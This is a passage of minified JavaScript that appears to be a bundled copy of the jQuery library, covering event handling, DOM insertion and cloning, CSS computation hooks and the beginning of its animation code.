ch = cg.target.ownerDocument || m;
ci = ch.documentElement;
i = ch.body;
cg.pageX = cf.clientX + (ci && ci.scrollLeft || i && i.scrollLeft || 0) - (ci && ci.clientLeft || i && i.clientLeft || 0);
cg.pageY = cf.clientY + (ci && ci.scrollTop || i && i.scrollTop || 0) - (ci && ci.clientTop || i && i.clientTop || 0)
}
if (!cg.relatedTarget && cj) {
cg.relatedTarget = cj === cg.target ? cf.toElement : cj
}
if (!cg.which && ce !== undefined) {
cg.which = (ce & 1 ? 1 : (ce & 2 ? 3 : (ce & 4 ? 2 : 0)))
}
return cg
}
},
special: {
load: {
noBubble: true
},
focus: {
trigger: function() {
if (this !== av() && this.focus) {
try {
this.focus();
return false
} catch (i) {}
}
},
delegateType: "focusin"
},
blur: {
trigger: function() {
if (this === av() && this.blur) {
this.blur();
return false
}
},
delegateType: "focusout"
},
click: {
trigger: function() {
if (bQ.nodeName(this, "input") && this.type === "checkbox" && this.click) {
this.click();
return false
}
},
_default: function(i) {
return bQ.nodeName(i.target, "a")
}
},
beforeunload: {
postDispatch: function(i) {
if (i.result !== undefined && i.originalEvent) {
i.originalEvent.returnValue = i.result
}
}
}
},
simulate: function(i, cf, ce) {
var cg = bQ.extend(new bQ.Event(), ce, {
type: i,
isSimulated: true
});
bQ.event.trigger(cg, null, cf);
if (cg.isDefaultPrevented()) {
ce.preventDefault()
}
}
};
bQ.removeEvent = m.removeEventListener ? function(ce, i, cf) {
if (ce.removeEventListener) {
ce.removeEventListener(i, cf)
}
} : function(cf, ce, cg) {
var i = "on" + ce;
if (cf.detachEvent) {
if (typeof cf[i] === "undefined") {
cf[i] = null
}
cf.detachEvent(i, cg)
}
};
bQ.Event = function(ce, i) {
if (!(this instanceof bQ.Event)) {
return new bQ.Event(ce, i)
}
if (ce && ce.type) {
this.originalEvent = ce;
this.type = ce.type;
this.isDefaultPrevented = ce.defaultPrevented || ce.defaultPrevented === undefined && ce.returnValue === false ? ad : ai
} else {
this.type = ce
}
if (i) {
bQ.extend(this, i)
}
this.timeStamp = ce && ce.timeStamp || bQ.now();
this[bQ.expando] = true
};
bQ.Event.prototype = {
constructor: bQ.Event,
isDefaultPrevented: ai,
isPropagationStopped: ai,
isImmediatePropagationStopped: ai,
preventDefault: function() {
var i = this.originalEvent;
this.isDefaultPrevented = ad;
if (!i) {
return
}
if (i.preventDefault) {
i.preventDefault()
} else {
i.returnValue = false
}
},
stopPropagation: function() {
var i = this.originalEvent;
this.isPropagationStopped = ad;
if (!i || this.isSimulated) {
return
}
if (i.stopPropagation) {
i.stopPropagation()
}
i.cancelBubble = true
},
stopImmediatePropagation: function() {
var i = this.originalEvent;
this.isImmediatePropagationStopped = ad;
if (i && i.stopImmediatePropagation) {
i.stopImmediatePropagation()
}
this.stopPropagation()
}
};
bQ.each({
mouseenter: "mouseover",
mouseleave: "mouseout",
pointerenter: "pointerover",
pointerleave: "pointerout"
}, function(ce, i) {
bQ.event.special[ce] = {
delegateType: i,
bindType: i,
handle: function(ch) {
var cf, cj = this,
ci = ch.relatedTarget,
cg = ch.handleObj;
if (!ci || (ci !== cj && !bQ.contains(cj, ci))) {
ch.type = cg.origType;
cf = cg.handler.apply(this, arguments);
ch.type = i
}
return cf
}
}
});
if (!G.submit) {
bQ.event.special.submit = {
setup: function() {
if (bQ.nodeName(this, "form")) {
return false
}
bQ.event.add(this, "click._submit keypress._submit", function(cf) {
var ce = cf.target,
i = bQ.nodeName(ce, "input") || bQ.nodeName(ce, "button") ? bQ.prop(ce, "form") : undefined;
if (i && !bQ._data(i, "submit")) {
bQ.event.add(i, "submit._submit", function(cg) {
cg._submitBubble = true
});
bQ._data(i, "submit", true)
}
})
},
postDispatch: function(i) {
if (i._submitBubble) {
delete i._submitBubble;
if (this.parentNode && !i.isTrigger) {
bQ.event.simulate("submit", this.parentNode, i)
}
}
},
teardown: function() {
if (bQ.nodeName(this, "form")) {
return false
}
bQ.event.remove(this, "._submit")
}
}
}
if (!G.change) {
bQ.event.special.change = {
setup: function() {
if (bO.test(this.nodeName)) {
if (this.type === "checkbox" || this.type === "radio") {
bQ.event.add(this, "propertychange._change", function(i) {
if (i.originalEvent.propertyName === "checked") {
this._justChanged = true
}
});
bQ.event.add(this, "click._change", function(i) {
if (this._justChanged && !i.isTrigger) {
this._justChanged = false
}
bQ.event.simulate("change", this, i)
})
}
return false
}
bQ.event.add(this, "beforeactivate._change", function(ce) {
var i = ce.target;
if (bO.test(i.nodeName) && !bQ._data(i, "change")) {
bQ.event.add(i, "change._change", function(cf) {
if (this.parentNode && !cf.isSimulated && !cf.isTrigger) {
bQ.event.simulate("change", this.parentNode, cf)
}
});
bQ._data(i, "change", true)
}
})
},
handle: function(ce) {
var i = ce.target;
if (this !== i || ce.isSimulated || ce.isTrigger || (i.type !== "radio" && i.type !== "checkbox")) {
return ce.handleObj.handler.apply(this, arguments)
}
},
teardown: function() {
bQ.event.remove(this, "._change");
return !bO.test(this.nodeName)
}
}
}
if (!G.focusin) {
bQ.each({
focus: "focusin",
blur: "focusout"
}, function(cf, i) {
var ce = function(cg) {
bQ.event.simulate(i, cg.target, bQ.event.fix(cg))
};
bQ.event.special[i] = {
setup: function() {
var ch = this.ownerDocument || this,
cg = bQ._data(ch, i);
if (!cg) {
ch.addEventListener(cf, ce, true)
}
bQ._data(ch, i, (cg || 0) + 1)
},
teardown: function() {
var ch = this.ownerDocument || this,
cg = bQ._data(ch, i) - 1;
if (!cg) {
ch.removeEventListener(cf, ce, true);
bQ._removeData(ch, i)
} else {
bQ._data(ch, i, cg)
}
}
}
})
}
bQ.fn.extend({
on: function(ce, i, cg, cf) {
return bq(this, ce, i, cg, cf)
},
one: function(ce, i, cg, cf) {
return bq(this, ce, i, cg, cf, 1)
},
off: function(cf, i, ch) {
var ce, cg;
if (cf && cf.preventDefault && cf.handleObj) {
ce = cf.handleObj;
bQ(cf.delegateTarget).off(ce.namespace ? ce.origType + "." + ce.namespace : ce.origType, ce.selector, ce.handler);
return this
}
if (typeof cf === "object") {
for (cg in cf) {
this.off(cg, i, cf[cg])
}
return this
}
if (i === false || typeof i === "function") {
ch = i;
i = undefined
}
if (ch === false) {
ch = ai
}
return this.each(function() {
bQ.event.remove(this, cf, ch, i)
})
},
trigger: function(i, ce) {
return this.each(function() {
bQ.event.trigger(i, ce, this)
})
},
triggerHandler: function(i, cf) {
var ce = this[0];
if (ce) {
return bQ.event.trigger(i, cf, ce, true)
}
}
});
var aL = / jQuery\d+="(?:null|\d+)"/g,
U = new RegExp("<(?:" + d + ")[\\s/>]", "i"),
aO = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,
aw = /<script|<style|<link/i,
b5 = /checked\s*(?:[^=]|=\s*.checked.)/i,
aA = /^true\/(.*)/,
aV = /^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,
a1 = D(m),
j = a1.appendChild(m.createElement("div"));
function bb(ce, i) {
return bQ.nodeName(ce, "table") && bQ.nodeName(i.nodeType !== 11 ? i : i.firstChild, "tr") ? ce.getElementsByTagName("tbody")[0] || ce.appendChild(ce.ownerDocument.createElement("tbody")) : ce
}
function v(i) {
i.type = (bQ.find.attr(i, "type") !== null) + "/" + i.type;
return i
}
function bn(ce) {
var i = aA.exec(ce.type);
if (i) {
ce.type = i[1]
} else {
ce.removeAttribute("type")
}
return ce
}
function aB(cl, cf) {
if (cf.nodeType !== 1 || !bQ.hasData(cl)) {
return
}
var ci, ch, ce, ck = bQ._data(cl),
cj = bQ._data(cf, ck),
cg = ck.events;
if (cg) {
delete cj.handle;
cj.events = {};
for (ci in cg) {
for (ch = 0, ce = cg[ci].length; ch < ce; ch++) {
bQ.event.add(cf, ci, cg[ci][ch])
}
}
}
if (cj.data) {
cj.data = bQ.extend({}, cj.data)
}
}
function ac(cg, i) {
var ch, cf, ce;
if (i.nodeType !== 1) {
return
}
ch = i.nodeName.toLowerCase();
if (!G.noCloneEvent && i[bQ.expando]) {
ce = bQ._data(i);
for (cf in ce.events) {
bQ.removeEvent(i, cf, ce.handle)
}
i.removeAttribute(bQ.expando)
}
if (ch === "script" && i.text !== cg.text) {
v(i).text = cg.text;
bn(i)
} else {
if (ch === "object") {
if (i.parentNode) {
i.outerHTML = cg.outerHTML
}
if (G.html5Clone && (cg.innerHTML && !bQ.trim(i.innerHTML))) {
i.innerHTML = cg.innerHTML
}
} else {
if (ch === "input" && aT.test(cg.type)) {
i.defaultChecked = i.checked = cg.checked;
if (i.value !== cg.value) {
i.value = cg.value
}
} else {
if (ch === "option") {
i.defaultSelected = i.selected = cg.defaultSelected
} else {
if (ch === "input" || ch === "textarea") {
i.defaultValue = cg.defaultValue
}
}
}
}
}
}
function K(cm, co, cs, ch) {
co = aI.apply([], co);
var cl, cg, ce, cj, cq, cn, ck = 0,
ci = cm.length,
cr = ci - 1,
cp = co[0],
cf = bQ.isFunction(cp);
if (cf || (ci > 1 && typeof cp === "string" && !G.checkClone && b5.test(cp))) {
return cm.each(function(ct) {
var i = cm.eq(ct);
if (cf) {
co[0] = cp.call(this, ct, i.html())
}
K(i, co, cs, ch)
})
}
if (ci) {
cn = C(co, cm[0].ownerDocument, false, cm, ch);
cl = cn.firstChild;
if (cn.childNodes.length === 1) {
cn = cl
}
if (cl || ch) {
cj = bQ.map(k(cn, "script"), v);
ce = cj.length;
for (; ck < ci; ck++) {
cg = cn;
if (ck !== cr) {
cg = bQ.clone(cg, true, true);
if (ce) {
bQ.merge(cj, k(cg, "script"))
}
}
cs.call(cm[ck], cg, ck)
}
if (ce) {
cq = cj[cj.length - 1].ownerDocument;
bQ.map(cj, bn);
for (ck = 0; ck < ce; ck++) {
cg = cj[ck];
if (bJ.test(cg.type || "") && !bQ._data(cg, "globalEval") && bQ.contains(cq, cg)) {
if (cg.src) {
if (bQ._evalUrl) {
bQ._evalUrl(cg.src)
}
} else {
bQ.globalEval((cg.text || cg.textContent || cg.innerHTML || "").replace(aV, ""))
}
}
}
}
cn = cl = null
}
}
return cm
}
function M(ci, ce, cj) {
var ch, cf = ce ? bQ.filter(ce, ci) : ci,
cg = 0;
for (;
(ch = cf[cg]) != null; cg++) {
if (!cj && ch.nodeType === 1) {
bQ.cleanData(k(ch))
}
if (ch.parentNode) {
if (cj && bQ.contains(ch.ownerDocument, ch)) {
bC(k(ch, "script"))
}
ch.parentNode.removeChild(ch)
}
}
return ci
}
bQ.extend({
htmlPrefilter: function(i) {
return i.replace(aO, "<$1></$2>")
},
clone: function(cf, ch, ce) {
var cj, cg, cm, ci, ck, cl = bQ.contains(cf.ownerDocument, cf);
if (G.html5Clone || bQ.isXMLDoc(cf) || !U.test("<" + cf.nodeName + ">")) {
cm = cf.cloneNode(true)
} else {
j.innerHTML = cf.outerHTML;
j.removeChild(cm = j.firstChild)
}
if ((!G.noCloneEvent || !G.noCloneChecked) && (cf.nodeType === 1 || cf.nodeType === 11) && !bQ.isXMLDoc(cf)) {
cj = k(cm);
ck = k(cf);
for (ci = 0;
(cg = ck[ci]) != null; ++ci) {
if (cj[ci]) {
ac(cg, cj[ci])
}
}
}
if (ch) {
if (ce) {
ck = ck || k(cf);
cj = cj || k(cm);
for (ci = 0;
(cg = ck[ci]) != null; ci++) {
aB(cg, cj[ci])
}
} else {
aB(cf, cm)
}
}
cj = k(cm, "script");
if (cj.length > 0) {
bC(cj, !cl && k(cf, "script"))
}
cj = ck = cg = null;
return cm
},
cleanData: function(cf, cn) {
var ch, cm, cg, cj, ck = 0,
co = bQ.expando,
ce = bQ.cache,
ci = G.attributes,
cl = bQ.event.special;
for (;
(ch = cf[ck]) != null; ck++) {
if (cn || W(ch)) {
cg = ch[co];
cj = cg && ce[cg];
if (cj) {
if (cj.events) {
for (cm in cj.events) {
if (cl[cm]) {
bQ.event.remove(ch, cm)
} else {
bQ.removeEvent(ch, cm, cj.handle)
}
}
}
if (ce[cg]) {
delete ce[cg];
if (!ci && typeof ch.removeAttribute !== "undefined") {
ch.removeAttribute(co)
} else {
ch[co] = undefined
}
aX.push(cg)
}
}
}
}
}
});
bQ.fn.extend({
domManip: K,
detach: function(i) {
return M(this, i, true)
},
remove: function(i) {
return M(this, i)
},
text: function(i) {
return aK(this, function(ce) {
return ce === undefined ? bQ.text(this) : this.empty().append((this[0] && this[0].ownerDocument || m).createTextNode(ce))
}, null, i, arguments.length)
},
append: function() {
return K(this, arguments, function(i) {
if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
var ce = bb(this, i);
ce.appendChild(i)
}
})
},
prepend: function() {
return K(this, arguments, function(i) {
if (this.nodeType === 1 || this.nodeType === 11 || this.nodeType === 9) {
var ce = bb(this, i);
ce.insertBefore(i, ce.firstChild)
}
})
},
before: function() {
return K(this, arguments, function(i) {
if (this.parentNode) {
this.parentNode.insertBefore(i, this)
}
})
},
after: function() {
return K(this, arguments, function(i) {
if (this.parentNode) {
this.parentNode.insertBefore(i, this.nextSibling)
}
})
},
empty: function() {
var cf, ce = 0;
for (;
(cf = this[ce]) != null; ce++) {
if (cf.nodeType === 1) {
bQ.cleanData(k(cf, false))
}
while (cf.firstChild) {
cf.removeChild(cf.firstChild)
}
if (cf.options && bQ.nodeName(cf, "select")) {
cf.options.length = 0
}
}
return this
},
clone: function(ce, i) {
ce = ce == null ? false : ce;
i = i == null ? ce : i;
return this.map(function() {
return bQ.clone(this, ce, i)
})
},
html: function(i) {
return aK(this, function(ch) {
var cg = this[0] || {},
cf = 0,
ce = this.length;
if (ch === undefined) {
return cg.nodeType === 1 ? cg.innerHTML.replace(aL, "") : undefined
}
if (typeof ch === "string" && !aw.test(ch) && (G.htmlSerialize || !U.test(ch)) && (G.leadingWhitespace || !cd.test(ch)) && !ae[(n.exec(ch) || ["", ""])[1].toLowerCase()]) {
ch = bQ.htmlPrefilter(ch);
try {
for (; cf < ce; cf++) {
cg = this[cf] || {};
if (cg.nodeType === 1) {
bQ.cleanData(k(cg, false));
cg.innerHTML = ch
}
}
cg = 0
} catch (ci) {}
}
if (cg) {
this.empty().append(ch)
}
}, null, i, arguments.length)
},
replaceWith: function() {
var i = [];
return K(this, arguments, function(cf) {
var ce = this.parentNode;
if (bQ.inArray(this, i) < 0) {
bQ.cleanData(k(this));
if (ce) {
ce.replaceChild(cf, this)
}
}
}, i)
}
});
bQ.each({
appendTo: "append",
prependTo: "prepend",
insertBefore: "before",
insertAfter: "after",
replaceAll: "replaceWith"
}, function(i, ce) {
bQ.fn[i] = function(cf) {
var cg, ci = 0,
ch = [],
ck = bQ(cf),
cj = ck.length - 1;
for (; ci <= cj; ci++) {
cg = ci === cj ? this : this.clone(true);
bQ(ck[ci])[ce](cg);
x.apply(ch, cg.get())
}
return this.pushStack(ch)
}
});
var aP, bt = {
HTML: "block",
BODY: "block"
};
function bc(i, cg) {
var ce = bQ(cg.createElement(i)).appendTo(cg.body),
cf = bQ.css(ce[0], "display");
ce.detach();
return cf
}
function a9(cf) {
var ce = m,
i = bt[cf];
if (!i) {
i = bc(cf, ce);
if (i === "none" || !i) {
aP = (aP || bQ("<iframe frameborder='0' width='0' height='0'/>")).appendTo(ce.documentElement);
ce = (aP[0].contentWindow || aP[0].contentDocument).document;
ce.write();
ce.close();
i = bc(cf, ce);
aP.detach()
}
bt[cf] = i
}
return i
}
var a8 = (/^margin/);
var ah = new RegExp("^(" + aM + ")(?!px)[a-z%]+$", "i");
var L = function(ci, ch, cj, cg) {
var cf, ce, i = {};
for (ce in ch) {
i[ce] = ci.style[ce];
ci.style[ce] = ch[ce]
}
cf = cj.apply(ci, cg || []);
for (ce in ch) {
ci.style[ce] = i[ce]
}
return cf
};
var b2 = m.documentElement;
(function() {
var ci, cf, cj, cl, ck, cg, ce = m.createElement("div"),
i = m.createElement("div");
if (!i.style) {
return
}
i.style.cssText = "float:left;opacity:.5";
G.opacity = i.style.opacity === "0.5";
G.cssFloat = !!i.style.cssFloat;
i.style.backgroundClip = "content-box";
i.cloneNode(true).style.backgroundClip = "";
G.clearCloneStyle = i.style.backgroundClip === "content-box";
ce = m.createElement("div");
ce.style.cssText = "border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute";
i.innerHTML = "";
ce.appendChild(i);
G.boxSizing = i.style.boxSizing === "" || i.style.MozBoxSizing === "" || i.style.WebkitBoxSizing === "";
bQ.extend(G, {
reliableHiddenOffsets: function() {
if (ci == null) {
ch()
}
return cl
},
boxSizingReliable: function() {
if (ci == null) {
ch()
}
return cj
},
pixelMarginRight: function() {
if (ci == null) {
ch()
}
return cf
},
pixelPosition: function() {
if (ci == null) {
ch()
}
return ci
},
reliableMarginRight: function() {
if (ci == null) {
ch()
}
return ck
},
reliableMarginLeft: function() {
if (ci == null) {
ch()
}
return cg
}
});
function ch() {
var cn, cm, co = m.documentElement;
co.appendChild(ce);
i.style.cssText = "-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%";
ci = cj = cg = false;
cf = ck = true;
if (bd.getComputedStyle) {
cm = bd.getComputedStyle(i);
ci = (cm || {}).top !== "1%";
cg = (cm || {}).marginLeft === "2px";
cj = (cm || {
width: "4px"
}).width === "4px";
i.style.marginRight = "50%";
cf = (cm || {
marginRight: "4px"
}).marginRight === "4px";
cn = i.appendChild(m.createElement("div"));
cn.style.cssText = i.style.cssText = "-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:0";
cn.style.marginRight = cn.style.width = "0";
i.style.width = "1px";
ck = !parseFloat((bd.getComputedStyle(cn) || {}).marginRight);
i.removeChild(cn)
}
i.style.display = "none";
cl = i.getClientRects().length === 0;
if (cl) {
i.style.display = "";
i.innerHTML = "<table><tr><td></td><td>t</td></tr></table>";
i.childNodes[0].style.borderCollapse = "separate";
cn = i.getElementsByTagName("td");
cn[0].style.cssText = "margin:0;border:0;padding:0;display:none";
cl = cn[0].offsetHeight === 0;
if (cl) {
cn[0].style.display = "";
cn[1].style.display = "none";
cl = cn[0].offsetHeight === 0
}
}
co.removeChild(ce)
}
})();
var by, J, bw = /^(top|right|bottom|left)$/;
if (bd.getComputedStyle) {
by = function(ce) {
var i = ce.ownerDocument.defaultView;
if (!i || !i.opener) {
i = bd
}
return i.getComputedStyle(ce)
};
J = function(ck, ce, cj) {
var ch, cg, ci, i, cf = ck.style;
cj = cj || by(ck);
i = cj ? cj.getPropertyValue(ce) || cj[ce] : undefined;
if ((i === "" || i === undefined) && !bQ.contains(ck.ownerDocument, ck)) {
i = bQ.style(ck, ce)
}
if (cj) {
if (!G.pixelMarginRight() && ah.test(i) && a8.test(ce)) {
ch = cf.width;
cg = cf.minWidth;
ci = cf.maxWidth;
cf.minWidth = cf.maxWidth = cf.width = i;
i = cj.width;
cf.width = ch;
cf.minWidth = cg;
cf.maxWidth = ci
}
}
return i === undefined ? i : i + ""
}
} else {
if (b2.currentStyle) {
by = function(i) {
return i.currentStyle
};
J = function(cj, cg, ci) {
var ck, ce, i, cf, ch = cj.style;
ci = ci || by(cj);
cf = ci ? ci[cg] : undefined;
if (cf == null && ch && ch[cg]) {
cf = ch[cg]
}
if (ah.test(cf) && !bw.test(cg)) {
ck = ch.left;
ce = cj.runtimeStyle;
i = ce && ce.left;
if (i) {
ce.left = cj.currentStyle.left
}
ch.left = cg === "fontSize" ? "1em" : cf;
cf = ch.pixelLeft + "px";
ch.left = ck;
if (i) {
ce.left = i
}
}
return cf === undefined ? cf : cf + "" || "auto"
}
}
}
function bf(i, ce) {
return {
get: function() {
if (i()) {
delete this.get;
return
}
return (this.get = ce).apply(this, arguments)
}
}
}
var br = /alpha\([^)]*\)/i,
a3 = /opacity\s*=\s*([^)]*)/i,
N = /^(none|table(?!-c[ea]).+)/,
bj = new RegExp("^(" + aM + ")(.*)$", "i"),
bm = {
position: "absolute",
visibility: "hidden",
display: "block"
},
bL = {
letterSpacing: "0",
fontWeight: "400"
},
aF = ["Webkit", "O", "Moz", "ms"],
bZ = m.createElement("div").style;
function c(ce) {
if (ce in bZ) {
return ce
}
var cg = ce.charAt(0).toUpperCase() + ce.slice(1),
cf = aF.length;
while (cf--) {
ce = aF[cf] + cg;
if (ce in bZ) {
return ce
}
}
}
function r(cj, i) {
var ck, ch, ci, ce = [],
cf = 0,
cg = cj.length;
for (; cf < cg; cf++) {
ch = cj[cf];
if (!ch.style) {
continue
}
ce[cf] = bQ._data(ch, "olddisplay");
ck = ch.style.display;
if (i) {
if (!ce[cf] && ck === "none") {
ch.style.display = ""
}
if (ch.style.display === "" && ab(ch)) {
ce[cf] = bQ._data(ch, "olddisplay", a9(ch.nodeName))
}
} else {
ci = ab(ch);
if (ck && ck !== "none" || !ci) {
bQ._data(ch, "olddisplay", ci ? ck : bQ.css(ch, "display"))
}
}
}
for (cf = 0; cf < cg; cf++) {
ch = cj[cf];
if (!ch.style) {
continue
}
if (!i || ch.style.display === "none" || ch.style.display === "") {
ch.style.display = i ? ce[cf] || "" : "none"
}
}
return cj
}
function aU(i, cf, cg) {
var ce = bj.exec(cf);
return ce ? Math.max(0, ce[1] - (cg || 0)) + (ce[2] || "px") : cf
}
function aG(ci, cf, ce, ck, ch) {
var cg = ce === (ck ? "border" : "content") ? 4 : cf === "width" ? 1 : 0,
cj = 0;
for (; cg < 4; cg += 2) {
if (ce === "margin") {
cj += bQ.css(ci, ce + b1[cg], true, ch)
}
if (ck) {
if (ce === "content") {
cj -= bQ.css(ci, "padding" + b1[cg], true, ch)
}
if (ce !== "margin") {
cj -= bQ.css(ci, "border" + b1[cg] + "Width", true, ch)
}
} else {
cj += bQ.css(ci, "padding" + b1[cg], true, ch);
if (ce !== "padding") {
cj += bQ.css(ci, "border" + b1[cg] + "Width", true, ch)
}
}
}
return cj
}
function w(ch, ce, i) {
var cg = true,
ci = ce === "width" ? ch.offsetWidth : ch.offsetHeight,
cf = by(ch),
cj = G.boxSizing && bQ.css(ch, "boxSizing", false, cf) === "border-box";
if (ci <= 0 || ci == null) {
ci = J(ch, ce, cf);
if (ci < 0 || ci == null) {
ci = ch.style[ce]
}
if (ah.test(ci)) {
return ci
}
cg = cj && (G.boxSizingReliable() || ci === ch.style[ce]);
ci = parseFloat(ci) || 0
}
return (ci + aG(ch, ce, i || (cj ? "border" : "content"), cg, cf)) + "px"
}
bQ.extend({
cssHooks: {
opacity: {
get: function(cf, ce) {
if (ce) {
var i = J(cf, "opacity");
return i === "" ? "1" : i
}
}
}
},
cssNumber: {
animationIterationCount: true,
columnCount: true,
fillOpacity: true,
flexGrow: true,
flexShrink: true,
fontWeight: true,
lineHeight: true,
opacity: true,
order: true,
orphans: true,
widows: true,
zIndex: true,
zoom: true
},
cssProps: {
"float": G.cssFloat ? "cssFloat" : "styleFloat"
},
style: function(cf, ce, cl, cg) {
if (!cf || cf.nodeType === 3 || cf.nodeType === 8 || !cf.style) {
return
}
var cj, ck, cm, ch = bQ.camelCase(ce),
i = cf.style;
ce = bQ.cssProps[ch] || (bQ.cssProps[ch] = c(ch) || ch);
cm = bQ.cssHooks[ce] || bQ.cssHooks[ch];
if (cl !== undefined) {
ck = typeof cl;
if (ck === "string" && (cj = b7.exec(cl)) && cj[1]) {
cl = B(cf, ce, cj);
ck = "number"
}
if (cl == null || cl !== cl) {
return
}
if (ck === "number") {
cl += cj && cj[3] || (bQ.cssNumber[ch] ? "" : "px")
}
if (!G.clearCloneStyle && cl === "" && ce.indexOf("background") === 0) {
i[ce] = "inherit"
}
if (!cm || !("set" in cm) || (cl = cm.set(cf, cl, cg)) !== undefined) {
try {
i[ce] = cl
} catch (ci) {}
}
} else {
if (cm && "get" in cm && (cj = cm.get(cf, false, cg)) !== undefined) {
return cj
}
return i[ce]
}
},
css: function(cj, ch, ce, ci) {
var cg, ck, i, cf = bQ.camelCase(ch);
ch = bQ.cssProps[cf] || (bQ.cssProps[cf] = c(cf) || cf);
i = bQ.cssHooks[ch] || bQ.cssHooks[cf];
if (i && "get" in i) {
ck = i.get(cj, true, ce)
}
if (ck === undefined) {
ck = J(cj, ch, ci)
}
if (ck === "normal" && ch in bL) {
ck = bL[ch]
}
if (ce === "" || ce) {
cg = parseFloat(ck);
return ce === true || isFinite(cg) ? cg || 0 : ck
}
return ck
}
});
bQ.each(["height", "width"], function(cf, ce) {
bQ.cssHooks[ce] = {
get: function(ch, cg, i) {
if (cg) {
return N.test(bQ.css(ch, "display")) && ch.offsetWidth === 0 ? L(ch, bm, function() {
return w(ch, ce, i)
}) : w(ch, ce, i)
}
},
set: function(ch, ci, i) {
var cg = i && by(ch);
return aU(ch, ci, i ? aG(ch, ce, i, G.boxSizing && bQ.css(ch, "boxSizing", false, cg) === "border-box", cg) : 0)
}
}
});
if (!G.opacity) {
bQ.cssHooks.opacity = {
get: function(ce, i) {
return a3.test((i && ce.currentStyle ? ce.currentStyle.filter : ce.style.filter) || "") ? (0.01 * parseFloat(RegExp.$1)) + "" : i ? "1" : ""
},
set: function(ch, ci) {
var cg = ch.style,
ce = ch.currentStyle,
i = bQ.isNumeric(ci) ? "alpha(opacity=" + ci * 100 + ")" : "",
cf = ce && ce.filter || cg.filter || "";
cg.zoom = 1;
if ((ci >= 1 || ci === "") && bQ.trim(cf.replace(br, "")) === "" && cg.removeAttribute) {
cg.removeAttribute("filter");
if (ci === "" || ce && !ce.filter) {
return
}
}
cg.filter = br.test(cf) ? cf.replace(br, i) : cf + " " + i
}
}
}
bQ.cssHooks.marginRight = bf(G.reliableMarginRight, function(ce, i) {
if (i) {
return L(ce, {
display: "inline-block"
}, J, [ce, "marginRight"])
}
});
bQ.cssHooks.marginLeft = bf(G.reliableMarginLeft, function(ce, i) {
if (i) {
return (parseFloat(J(ce, "marginLeft")) || (bQ.contains(ce.ownerDocument, ce) ? ce.getBoundingClientRect().left - L(ce, {
marginLeft: 0
}, function() {
return ce.getBoundingClientRect().left
}) : 0)) + "px"
}
});
bQ.each({
margin: "",
padding: "",
border: "Width"
}, function(i, ce) {
bQ.cssHooks[i + ce] = {
expand: function(ch) {
var cg = 0,
cf = {},
ci = typeof ch === "string" ? ch.split(" ") : [ch];
for (; cg < 4; cg++) {
cf[i + b1[cg] + ce] = ci[cg] || ci[cg - 2] || ci[0]
}
return cf
}
};
if (!a8.test(i)) {
bQ.cssHooks[i + ce].set = aU
}
});
bQ.fn.extend({
css: function(i, ce) {
return aK(this, function(cj, cg, ck) {
var ci, cf, cl = {},
ch = 0;
if (bQ.isArray(cg)) {
ci = by(cj);
cf = cg.length;
for (; ch < cf; ch++) {
cl[cg[ch]] = bQ.css(cj, cg[ch], false, ci)
}
return cl
}
return ck !== undefined ? bQ.style(cj, cg, ck) : bQ.css(cj, cg)
}, i, ce, arguments.length > 1)
},
show: function() {
return r(this, true)
},
hide: function() {
return r(this)
},
toggle: function(i) {
if (typeof i === "boolean") {
return i ? this.show() : this.hide()
}
return this.each(function() {
if (ab(this)) {
bQ(this).show()
} else {
bQ(this).hide()
}
})
}
});
function Q(cf, ce, ch, i, cg) {
return new Q.prototype.init(cf, ce, ch, i, cg)
}
bQ.Tween = Q;
Q.prototype = {
constructor: Q,
init: function(cg, ce, ci, i, ch, cf) {
this.elem = cg;
this.prop = ci;
this.easing = ch || bQ.easing._default;
this.options = ce;
this.start = this.now = this.cur();
this.end = i;
this.unit = cf || (bQ.cssNumber[ci] ? "" : "px")
},
cur: function() {
var i = Q.propHooks[this.prop];
return i && i.get ? i.get(this) : Q.propHooks._default.get(this)
},
run: function(cf) {
var ce, i = Q.propHooks[this.prop];
if (this.options.duration) {
this.pos = ce = bQ.easing[this.easing](cf, this.options.duration * cf, 0, 1, this.options.duration)
} else {
this.pos = ce = cf
}
this.now = (this.end - this.start) * ce + this.start;
if (this.options.step) {
this.options.step.call(this.elem, this.now, this)
}
if (i && i.set) {
i.set(this)
} else {
Q.propHooks._default.set(this)
}
return this
}
};
Q.prototype.init.prototype = Q.prototype;
Q.propHooks = {
_default: {
get: function(ce) {
var i;
if (ce.elem.nodeType !== 1 || ce.elem[ce.prop] != null && ce.elem.style[ce.prop] == null) {
return ce.elem[ce.prop]
}
i = bQ.css(ce.elem, ce.prop, "");
return !i || i === "auto" ? 0 : i
},
set: function(i) {
if (bQ.fx.step[i.prop]) {
bQ.fx.step[i.prop](i)
} else {
if (i.elem.nodeType === 1 && (i.elem.style[bQ.cssProps[i.prop]] != null || bQ.cssHooks[i.prop])) {
bQ.style(i.elem, i.prop, i.now + i.unit)
} else {
i.elem[i.prop] = i.now
}
}
}
}
};
Q.propHooks.scrollTop = Q.propHooks.scrollLeft = {
set: function(i) {
if (i.elem.nodeType && i.elem.parentNode) {
i.elem[i.prop] = i.now
}
}
};
bQ.easing = {
linear: function(i) {
return i
},
swing: function(i) {
return 0.5 - Math.cos(i * Math.PI) / 2
},
_default: "swing"
};
bQ.fx = Q.prototype.init;
bQ.fx.step = {};
var V, am, bY = /^(?:toggle|show|hide)$/,
bW = /queueHooks$/;
function bv() {
bd.setTimeout(function() {
V = undefined
});
return (V = bQ.now())
}
function bP(cg, ci) {
var ch, ce = {
height: cg
},
cf = 0;
ci = ci ? 1 : 0;
for (; cf < 4; cf += 2 - ci) {
ch = b1[cf];
ce["margin" + ch] = ce["padding" + ch] = cg
}
if (ci) {
ce.opacity = ce.width = cg
}
return ce
}
function bl(ch, cj, cg) {
var ce, ci = (e.tweeners[cj] || []).concat(e.tweeners["*"]),
i = 0,
cf = ci.length;
for (; i < cf; i++) {
if ((ce = ci[i].call(cg, cj, ch))) {
return ce
}
}
}
function g(cg, cl, i) {
var cf, co, ci, cr, cs, cp, ck, cn, ch = this,
cm = {},
ce = cg.style,
cj = cg.nodeType && ab(cg),
